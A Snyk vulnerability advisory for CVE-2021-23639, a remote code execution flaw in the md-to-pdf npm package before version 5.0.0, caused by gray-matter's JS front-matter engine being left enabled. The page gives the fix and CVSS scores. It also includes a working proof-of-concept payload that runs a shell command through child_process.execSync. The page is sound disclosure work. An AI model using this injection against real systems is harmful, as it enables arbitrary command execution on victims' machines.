snyk Vulnerability DB

CRITICAL

Snyk Vulnerability Database › npm › md-to-pdf

Search by package name or CVE

Remote Code Execution (RCE)

Affecting md-to-pdf package, versions <5.0.0

INTRODUCED: 23 SEP 2021 CVE-2021-23639 CWE-94 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `md-to-pdf` to version 5.0.0 or higher.

Overview

md-to-pdf is a CLI tool for converting Markdown files to PDF.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.

PoC:

```
//Before running poc.js: $ cat /tmp/RCE.txt cat: /tmp/RCE.txt: No such file or directory //After running
poc.js $ node poc.js $ cat /tmp/RCE.txt uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
```

poc.js:

```
const { mdToPdf } = require('md-to-pdf'); var payload = '---js\n((require("child_process")).execSync("id >
/tmp/RCE.txt"))\n---RCE';
```

```
(async () => { await mdToPdf({ content: payload }, { dest: './output.pdf' }); })();
```

References

- GitHub Commit
- GitHub Issue

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-MDTOPDF-1657880
Published	8 Dec 2021
Disclosed	23 Sep 2021
Credit	Oscar Arnflo

Report a new vulnerability Found a mistake?

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

DevSecCon Join the >> community

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.